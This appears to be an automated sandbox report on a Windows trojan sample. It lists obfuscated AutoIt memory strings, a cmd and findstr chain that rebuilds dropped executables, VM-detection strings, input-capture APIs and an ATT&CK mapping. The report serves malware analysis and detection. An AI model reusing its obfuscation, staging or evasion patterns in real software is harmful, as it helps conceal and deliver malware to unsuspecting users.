Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.0000000002BCA000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1711066834.0000000000CD7000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1696988883.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1696668926.0000000000C84000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1695659728.0000000000C5F000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1711553711.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1708881008.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1711228480.0000000000D2B000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1711402478.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1705319177.0000000000CBA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $VdwHnUJpYBHGiro = Execute(GKHRXxdEq("92_125_123_114_119_112_82_124_79_117_120_106_125_49_48_77_88_78_126_116_116_131_76_92_48_50",9)), $XDDiCUzGlnMH = 'ImcUYqPiljrtfCXuiybhGfsGnP'
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.0000000002BCA000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1692968610.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1693180464.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Local $mUnGEjvcQyyHiw = Execute(rETgxIUQ("88#121#119#110#115#108#78#120#75#113#116#102#121#45#44#111#109#115#90#105#88#108#103#112#89#114#70#106#103#44#46",5)), $oMLzKVgHrLiAtG = 'kImZXeDRqjFLvNVshxWmCEEFWYFxpoalRvHQqemUF'
Source: Inebriarti.exe.com, 00000005.00000003.1748045980.00000000039F3000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000008.00000002.2926448957.00000000041AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UGEkkLaFjAXjVGXLQawHGZdbjwhEqMURhOrQFTVBwhgFsuRRJifZsK
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp, Tt843YGUx5.exe, 00000000.00000003.1680799306.0000000003850000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: $VjItThBcFgJSTh = Execute(ekrSXFezU("71#117#108#121#104#74#104#119#86#104#117#108#100#111#43#42#92#122#80#120#74#102#88#111#93#42#44",3)), $LHtIufRxUd = 'rAAViyZFlUnFeoHWSZCenyXOWRCUyyhgfSUBjlm'
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.0000000002BCA000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1711066834.0000000000CD7000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1696988883.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1696668926.0000000000C84000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1695659728.0000000000C5F000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1711553711.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1708881008.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1711228480.0000000000D2B000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1711402478.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, Bonta.exe.com, 00000007.00000003.1714793493.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Local $DxgKjzXtlDLONYMZ = 'VNswdqkJHGRvmueigEoCbcbzzRZsYHefjSEKYHhxeqEMuIKbJG'
Source: Inebriarti.exe.com, 00000008.00000002.2925428546.0000000003EA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kImZXeDRqjFLvNVshxWmCEEFWYFxpoalRvHQqemUF118#109#119#1
Source: Inebriarti.exe.com, 00000008.00000002.2923702335.00000000013B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Local $mUnGEjvcQyyHiw = Execute(rETgxIUQ("88#121#119#110#115#108#78#120#75#113#116#102#121#45#44#111#109#115#90#105#88#108#103#112#89#114#70#106#103#44#46",5)), $oMLzKVgHrLiAtG = 'kImZXeDRqjFLvNVshxWmCEEFWYFxpoalRvHQqemUF'q
Source: Inebriarti.exe.com, 00000008.00000002.2924070634.000000000154E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: For $lDMfBZXyYdklEnPNzTqemusNJakRrSoysInesZUWmdfquUcTLKIzvBh = 18 To 390^X
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.0000000002BCA000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1711244049.0000000000FB1000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1706584861.0000000000EC4000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1692968610.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1709948771.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1711027703.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1705873109.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1707770480.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1710380764.0000000000F79000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1711155587.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: For $lDMfBZXyYdklEnPNzTqemusNJakRrSoysInesZUWmdfquUcTLKIzvBh = 18 To 39
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp, Tt843YGUx5.exe, 00000000.00000003.1680799306.0000000003850000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: $FtFgHgfSLDQHNz = $FtFgHgfSLDQHNz + 1
Source: Bonta.exe.com, 0000000A.00000002.2926371266.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Inebriarti.exe.com, 00000005.00000003.1706584861.0000000000EC4000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1692968610.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1709948771.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1710670447.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1705873109.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1710792928.0000000000F67000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1707770480.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1706721244.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1693180464.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Local $xTAygaMnGSysza = 'UGEkkLaFjAXjVGXLQawHGZdbjwhEqMURhOrQFTVBwhgFsuRRJifZsK'N
Source: Inebriarti.exe.com, 00000008.00000002.2927741205.0000000004773000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllw
Source: Bonta.exe.com, 0000000A.00000002.2925494466.0000000003840000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VNswdqkJHGRvmueigEoCbcbzzRZsYHefjSEKYHhxeqEMuIKbJGX
Source: Inebriarti.exe.com, 00000005.00000003.1706584861.0000000000EC4000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1692968610.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1709948771.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1710670447.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1705873109.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1707770480.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1706721244.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000003.1693180464.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Local $puvSDtqYrsfhEL = 'RPPoXblPCCcjAMnWzIKfyWHmssVRhgFSwWmgXhfRYsTdoRmjEcVFUc''
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Switch $FtFgHgfSLDQHNz
Source: Tt843YGUx5.exe, 00000000.00000002.2108031796.000000000051E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}d-^
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.0000000002BCA000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000008.00000002.2923997739.00000000014EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Local $xTAygaMnGSysza = 'UGEkkLaFjAXjVGXLQawHGZdbjwhEqMURhOrQFTVBwhgFsuRRJifZsK'
Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $FtFgHgfSLDQHNz = 195
Source: Inebriarti.exe.com, 00000008.00000002.2923997739.00000000014EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Local $puvSDtqYrsfhEL = 'RPPoXblPCCcjAMnWzIKfyWHmssVRhgFSwWmgXhfRYsTdoRmjEcVFUc'V'r
Source: Inebriarti.exe.com, 00000005.00000003.1746199416.0000000003B61000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000008.00000002.2926882914.0000000004310000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: LDMFBZXYYDKLENPNZTQEMUSNJAKRRSOYSINESZUWMDFQUUCTLKIZVBH

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_007D45D5 BlockInput,

5_2_007D45D5

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_00775240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

5_2_00775240

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_00795CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

5_2_00795CAC

Source: C:\Users\user\Desktop\Tt843YGUx5.exe

Code function: 0_2_0040760A LoadLibraryA,GetProcAddress,GetWindow,GetWindow,GetDlgItem,GetWindow,

0_2_0040760A

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_007B88CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

5_2_007B88CD

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0078A354 SetUnhandledExceptionFilter,	5_2_0078A354
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_0078A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_0078A385
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A7A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00A7A385
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00A7A354 SetUnhandledExceptionFilter,	7_2_00A7A354
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003FA354 SetUnhandledExceptionFilter,	11_2_003FA354
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_003FA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_003FA385

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_007B9369 LogonUserW,

5_2_007B9369

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_00775240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

5_2_00775240

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_007C1AC6 SendInput,keybd_event,

5_2_007C1AC6

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_007C51E2 mouse_event,

5_2_007C51E2

Source: C:\Users\user\Desktop\Tt843YGUx5.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd < Seminato.vstm	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com Inebriarti.exe.com A	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com Bonta.exe.com m	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com Pensiero.exe.com E	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 30	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

5_2_007B88CD

Source: C:\Users\user\Desktop\Tt843YGUx5.exe

Code function: 0_2_0040287D AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_0040287D

Source: Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030CB000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000000.1685402000.0000000000816000.00000002.00000001.01000000.00000005.sdmp, Bonta.exe.com, 00000007.00000000.1686613915.0000000000B06000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Inebriarti.exe.com, Bonta.exe.com, Pensiero.exe.com	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_0078885B cpuid

5_2_0078885B

Source: C:\Users\user\Desktop\Tt843YGUx5.exe

Code function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,

0_2_004025C8

Source: C:\Users\user\Desktop\Tt843YGUx5.exe

Code function: 0_2_00401899 ??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetLocalTime,SystemTimeToFileTime,??2@YAPAXI@Z,GetLastError,??3@YAXPAX@Z,??3@YAXPAX@Z,GetLastError,??3@YAXPAX@Z,GetLastError,??3@YAXPAX@Z,??3@YAXPAX@Z,

0_2_00401899

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_007A0722 GetUserNameW,

5_2_007A0722

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Code function: 5_2_0079416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

5_2_0079416A

Source: C:\Users\user\Desktop\Tt843YGUx5.exe

Code function: 0_2_00405420 ?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z,GetVersionExW,GetCommandLineW,GetCommandLineW,lstrlenW,GetCommandLineW,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetModuleFileNameW,_wtol,??2@YAPAXI@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCommandLineW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCurrentProcess,SetProcessWorkingSetSize,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,CoInitialize,lstrlenW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,GetKeyState,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetCurrentDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetFileAttributesW,??3@YAXPAX@Z,??3@YAXPAX@Z,_wtol,SetCurrentDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetCurrentDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,MessageBoxA,

0_2_00405420

Source: Pensiero.exe.com	Binary or memory string: WIN_81
Source: Pensiero.exe.com	Binary or memory string: WIN_XP
Source: Pensiero.exe.com	Binary or memory string: WIN_XPe
Source: Pensiero.exe.com	Binary or memory string: WIN_VISTA
Source: Pensiero.exe.com	Binary or memory string: WIN_7
Source: Pensiero.exe.com	Binary or memory string: WIN_8
Source: Bonta.exe.com, 0000000A.00000000.1689082759.0000000000B06000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 5USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007D696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	5_2_007D696E
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	Code function: 5_2_007D6E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	5_2_007D6E32
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AC696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	7_2_00AC696E
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	Code function: 7_2_00AC6E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	7_2_00AC6E32
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_0044696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	11_2_0044696E
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	Code function: 11_2_00446E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	11_2_00446E32

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	121 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	121 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	25 System Information Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	1 Masquerading	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Valid Accounts	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Access Token Manipulation	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Tt843YGUx5.exe	31%	Virustotal		Browse
Tt843YGUx5.exe	45%	ReversingLabs	Win32.Trojan.Generic
Tt843YGUx5.exe	100%	Avira	TR/Patched.Gen

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com	3%	ReversingLabs

Name	IP	Active	Malicious	Reputation
OEEMOUIIEJHDT.OEEMOUIIEJHDT	unknown	unknown	false	unknown
OreSqbuLLIH.OreSqbuLLIH	unknown	unknown	false	unknown
NiXfPuxauHolCHyB.NiXfPuxauHolCHyB	unknown	unknown	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp, Inebriarti.exe.com, 00000005.00000000.1685542446.0000000000829000.00000002.00000001.01000000.00000005.sdmp, Bonta.exe.com, 00000007.00000002.1753768535.0000000000B19000.00000002.00000001.01000000.00000006.sdmp, Inebriarti.exe.com, 00000008.00000002.2923052469.0000000000829000.00000002.00000001.01000000.00000005.sdmp, Bonta.exe.com, 0000000A.00000000.1689206168.0000000000B19000.00000002.00000001.01000000.00000006.sdmp	false		high
https://www.autoitscript.com/autoit3/	Tt843YGUx5.exe, 00000000.00000003.1680945398.00000000030D9000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1610406
Start date and time:	2025-02-09 07:58:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Tt843YGUx5.exe renamed because original name is a hash value
Original Sample Name:	0d6bbe5907ca581fec7c452793aa1257.exe
Detection:	MAL
Classification:	mal80.troj.spyw.evad.winEXE@26/14@3/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 105 Number of non-executed functions: 294
